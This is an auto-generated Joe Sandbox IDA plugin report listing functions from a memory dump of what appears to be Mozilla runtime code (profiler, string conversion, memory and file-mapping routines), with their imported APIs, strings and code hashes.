Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: df121c8793d794381ab9780b46271b3370d54ccdf52292b53c6f24f2e768ad73
Instruction ID: 071163e5c2078983026b48077a2382e02c121ae10f1cf7e05224fcc9bef64012
Opcode Fuzzy Hash: df121c8793d794381ab9780b46271b3370d54ccdf52292b53c6f24f2e768ad73
Instruction Fuzzy Hash: 7BC18F31A097609FD705DF29C440A5ABBF1BFDA714F159A1DF8C897760D730A886CB82

Function 6C45EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C424A68), ref: 6C45945E
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C459470
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C459482
Part of subcall function 6C459420: __Init_thread_footer.LIBCMT ref: 6C45949F

GetCurrentThreadId.KERNEL32 ref: 6C45EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45EC8C

Part of subcall function 6C4594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4594EE
Part of subcall function 6C4594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C459508

GetCurrentThreadId.KERNEL32 ref: 6C45ECA1
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C45ECC5
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C45ED19
CloseHandle.KERNEL32(?), ref: 6C45ED28
free.MOZGLUE(00000000), ref: 6C45ED2F
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C45EC94

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: e82f735ccf6df7f3f5c691b4c5de2348ae24c7c147e9705df4fa664e9daaa560
Instruction ID: 9c560d843f79059294df600ad14aabbd317b2c53414fcd166fd903bba7145f5a
Opcode Fuzzy Hash: e82f735ccf6df7f3f5c691b4c5de2348ae24c7c147e9705df4fa664e9daaa560
Instruction Fuzzy Hash: 8221F671600124AFEF01EF24DC48FAA7739EB6626DF504214FC1987740D7399826CBE1

Function 6C475FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C476009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C476024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QAl,?), ref: 6C476046
OutputDebugStringA.KERNEL32(?,QAl,?), ref: 6C476061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C476069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C476073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C476082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C49148E), ref: 6C476091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QAl,00000000,?), ref: 6C4760BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C4760C4

Strings

QAl, xrefs: 6C475FFC, 6C476042, 6C476045, 6C4760B3

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QAl
API String ID: 3835517998-4184164935
Opcode ID: 8b72e6289526eefdec0a30893e9935043fc1f50f4ba310aa2951484f85cd2ad5
Instruction ID: 840e2b3a28488eb07ec3655ec0cb64f1444250a5a6654866bd1b1ae4442f99a4
Opcode Fuzzy Hash: 8b72e6289526eefdec0a30893e9935043fc1f50f4ba310aa2951484f85cd2ad5
Instruction Fuzzy Hash: E121A671A002289BDF20EF25DC49FDA7BB9FF45619F008428E85AD7240CB74A548CFE1

Function 6C458ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C41EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C41EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C45B392,?,?,00000001), ref: 6C4591F4

Part of subcall function 6C44CBE8: GetCurrentProcess.KERNEL32(?,6C4131A7), ref: 6C44CBF1
Part of subcall function 6C44CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4131A7), ref: 6C44CBFA

Strings

data, xrefs: 6C4590E8
marker-chart, xrefs: 6C45905E
stack-chart, xrefs: 6C4590B2
marker-table, xrefs: 6C45906C
timeline-fileio, xrefs: 6C4590A4
timeline-memory, xrefs: 6C459088
timeline-ipc, xrefs: 6C459096
timeline-overview, xrefs: 6C45907A
name, xrefs: 6C458F16

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 330a5a51f7d4e631b78c97fe79eb9c99b5e2db81826bfed696760d7fbb8ebcdb
Instruction ID: 2ef1aaaec025d9d5d481a29fb73eb430af6294353cde59c2f2563a1b9ad0bccd
Opcode Fuzzy Hash: 330a5a51f7d4e631b78c97fe79eb9c99b5e2db81826bfed696760d7fbb8ebcdb
Instruction Fuzzy Hash: CCB1B2B1A022199BDF04CF58C496FAEBBB5AF85318F504429D502ABF80D772D956CBD0

Function 6C43C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C43C5A3
WideCharToMultiByte.KERNEL32 ref: 6C43C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C43C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C43CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C43CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C43CAA5

Strings

0, xrefs: 6C43D30A
(null), xrefs: 6C43C596

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c24fdfb36dc874dd732c5355a1d9e3d4e76035a1561ee71b4ac5bd6165a8b9fc
Instruction ID: 8a980a557854fa93ed26f8d94560cffc0ee6a2be6dec74ce305c30f6720f5658
Opcode Fuzzy Hash: c24fdfb36dc874dd732c5355a1d9e3d4e76035a1561ee71b4ac5bd6165a8b9fc
Instruction Fuzzy Hash: D0A19B306083618FDB00EF2AC548F5ABBF1AFC9759F049A1DE88A97741D731D805CB92

Function 6C43C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C43C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C43C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C43C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C43C891

Strings

NAN, xrefs: 6C43C7AD
INF, xrefs: 6C43C794
inf, xrefs: 6C43C78F
nan, xrefs: 6C43C7A8

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 8e5f659f0589037ad4c4cadb553b4c02b2d2bf6f0219345a3000fa5e9d7fe873
Instruction ID: 392994bbb18db957a6479946e2838d02177e136b3baf60e93020563dab64d3df
Opcode Fuzzy Hash: 8e5f659f0589037ad4c4cadb553b4c02b2d2bf6f0219345a3000fa5e9d7fe873
Instruction Fuzzy Hash: D2516F709087608BD704EF69C481E9AFBF0BFDE319F009A1DE9D997650E770D9858B42

Function 6C413480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C413492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C4134A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C4134EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C41350E
__Init_thread_footer.LIBCMT ref: 6C413522
__aulldiv.LIBCMT ref: 6C413552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C41357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C413592

Part of subcall function 6C44AB89: EnterCriticalSection.KERNEL32(6C49E370,?,?,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284), ref: 6C44AB94
Part of subcall function 6C44AB89: LeaveCriticalSection.KERNEL32(6C49E370,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C44ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C413508
kernel32.dll, xrefs: 6C4134EA

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 34e0f47ce2ef951c31944259bd91d844f92539f41b924d3108b129d2f74fb372
Instruction ID: af7be456bb758b818230f79c0d757f497b1da7b3711ab4de9aa92ca9c0d21e97
Opcode Fuzzy Hash: 34e0f47ce2ef951c31944259bd91d844f92539f41b924d3108b129d2f74fb372
Instruction Fuzzy Hash: 0331AF71B012299BEF14EFB9C848FBA77B9FB55715F104029E645A3B50EB30AD05CB60

Function 6C414480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C454843,?), ref: 6C4145F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C454843,?), ref: 6C41468A
free.MOZGLUE(?,?,?,?,?,?,6C454843,?), ref: 6C4146C9
free.MOZGLUE(?), ref: 6C4146EF
free.MOZGLUE(?), ref: 6C414712
free.MOZGLUE(?), ref: 6C414735
free.MOZGLUE(?), ref: 6C414758
free.MOZGLUE(?), ref: 6C41477B
free.MOZGLUE(?), ref: 6C41479E

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 037bde49111960e0ac13b950dc139558b8f8ba9f091e90e18f96157104249253
Instruction ID: 447e39e7c90db4e6f4d4adb80487c162f9cbc55123e15c7f401e859eb5c54d29
Opcode Fuzzy Hash: 037bde49111960e0ac13b950dc139558b8f8ba9f091e90e18f96157104249253
Instruction Fuzzy Hash: 5EB1F275A081108FDB18DF2CD890F7D76A2AF463ACF18162CE4A6DBFC2D73499408B91

Function 6C47AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C47AC52
CreateFileMappingW.KERNEL32 ref: 6C47AC7D
GetSystemInfo.KERNEL32 ref: 6C47AC98
MapViewOfFile.KERNEL32 ref: 6C47ACB0
GetSystemInfo.KERNEL32 ref: 6C47ACCD
MapViewOfFile.KERNEL32 ref: 6C47AD05
UnmapViewOfFile.KERNEL32 ref: 6C47AD1C
CloseHandle.KERNEL32 ref: 6C47AD28
UnmapViewOfFile.KERNEL32 ref: 6C47AD37
CloseHandle.KERNEL32 ref: 6C47AD43
CloseHandle.KERNEL32 ref: 6C47AD67

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: ef0a30759c8f4ec2597c9d3eb30fedfc85d79291216fa9c9247b4da7dd68389d
Instruction ID: 1995d08f55ce731e22b20ed955425e78f146d0d65772ddc0b1c2c2f0eccb435d
Opcode Fuzzy Hash: ef0a30759c8f4ec2597c9d3eb30fedfc85d79291216fa9c9247b4da7dd68389d
Instruction Fuzzy Hash: A0317EB1A047048FDB10FF78C648AAEBBF5BF95305F01892DE88587301EB709448CB92

Function 6C429620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C429675
__Init_thread_footer.LIBCMT ref: 6C429697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C429707
__Init_thread_footer.LIBCMT ref: 6C42971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C429773

Part of subcall function 6C44AB89: EnterCriticalSection.KERNEL32(6C49E370,?,?,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284), ref: 6C44AB94
Part of subcall function 6C44AB89: LeaveCriticalSection.KERNEL32(6C49E370,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C44ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4297B7
FreeLibrary.KERNEL32 ref: 6C4297D0
FreeLibrary.KERNEL32 ref: 6C4297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C429824

Strings

MapViewOfFileNuma2, xrefs: 6C4297B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C429670
NtMapViewOfSection, xrefs: 6C429701
ntdll.dll, xrefs: 6C4296E3

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 2d05ed6e4a2f7d3b163d431426882e81deca917d8b95f25762bc5e61553f72d3
Instruction ID: 38622b3f7e83ac0c5eb6c99ef08b4d424da0408a3ebb0ae18a3c25ed1505394d
Opcode Fuzzy Hash: 2d05ed6e4a2f7d3b163d431426882e81deca917d8b95f25762bc5e61553f72d3
Instruction Fuzzy Hash: 8D41A070B01225DFEF00EFA5E885E9A7BB4FBA9359F104168FD1587740D731A814CBA1

Function 6C460000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C424A68), ref: 6C45945E
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C459470
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C459482
Part of subcall function 6C459420: __Init_thread_footer.LIBCMT ref: 6C45949F

GetCurrentThreadId.KERNEL32 ref: 6C460039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C460041
GetCurrentThreadId.KERNEL32 ref: 6C460075
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C460082
moz_xmalloc.MOZGLUE(00000048), ref: 6C460090
free.MOZGLUE(?), ref: 6C460104
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C46011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C46005B

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: aa493325e7361342fe6c6f2e6492669970bbec64a09386ca78bf4b0a8adcd086
Instruction ID: 6b5724c4981cbbaf4aa2e620890b02a152d3efa3a23438ba2b0cd1ae22e7ba0d
Opcode Fuzzy Hash: aa493325e7361342fe6c6f2e6492669970bbec64a09386ca78bf4b0a8adcd086
Instruction Fuzzy Hash: D841AEB1601264AFDB20DF25C840E9ABBF1FF59318F50491DE99A93B40DB32F815CB95

Function 6C427E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C427EA7
malloc.MOZGLUE(00000001), ref: 6C427EB3

Part of subcall function 6C42CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C42CB49
Part of subcall function 6C42CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C42CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C427EC4
mozalloc_abort.MOZGLUE(?), ref: 6C427F19
malloc.MOZGLUE(?), ref: 6C427F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C427F4D

Strings

d, xrefs: 6C427F89

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 833060562a0748f891bede73d277af8eda5eb29ff976590dff64c43930640252
Instruction ID: e847fd5805cebd361cb935e3fb8ca7ee211a3fdf65f781c4f68c7ff2239f4609
Opcode Fuzzy Hash: 833060562a0748f891bede73d277af8eda5eb29ff976590dff64c43930640252
Instruction Fuzzy Hash: FC312561E0539997EB00EB68CC41EFEB778EF96218F05922DEC4957212FB30E588C390

Function 6C423E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C423EEE
RtlFreeHeap.NTDLL ref: 6C423FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C424006
RtlFreeHeap.NTDLL ref: 6C4240A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C423CCC), ref: 6C4240AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C423CCC), ref: 6C4240C2
RtlFreeHeap.NTDLL ref: 6C424134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C423CCC), ref: 6C424143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C423CCC), ref: 6C424157

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 6d6179c02da02ceae8eab6d630aec420aa0ce27d54e123ba4602bce37947f611
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 6FA159B1A00215CFDB50CF68C881F5ABBB5FF48348F2541A9D909AB742D775E886CFA0

Function 6C412030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C433F47,?,?,?,6C433F47,6C431A70,?), ref: 6C41207F
memset.VCRUNTIME140(?,000000E5,6C433F47,?,6C433F47,6C431A70,?), ref: 6C4120DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C433F47,6C431A70,?), ref: 6C41211A
EnterCriticalSection.KERNEL32(6C49E744,?,6C433F47,6C431A70,?), ref: 6C412145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C433F47,6C431A70,?), ref: 6C4121BA
EnterCriticalSection.KERNEL32(6C49E744,?,6C433F47,6C431A70,?), ref: 6C4121E0
LeaveCriticalSection.KERNEL32(6C49E744,?,6C433F47,6C431A70,?), ref: 6C412232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C412253, 6C412268
MOZ_CRASH(), xrefs: 6C41227D

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

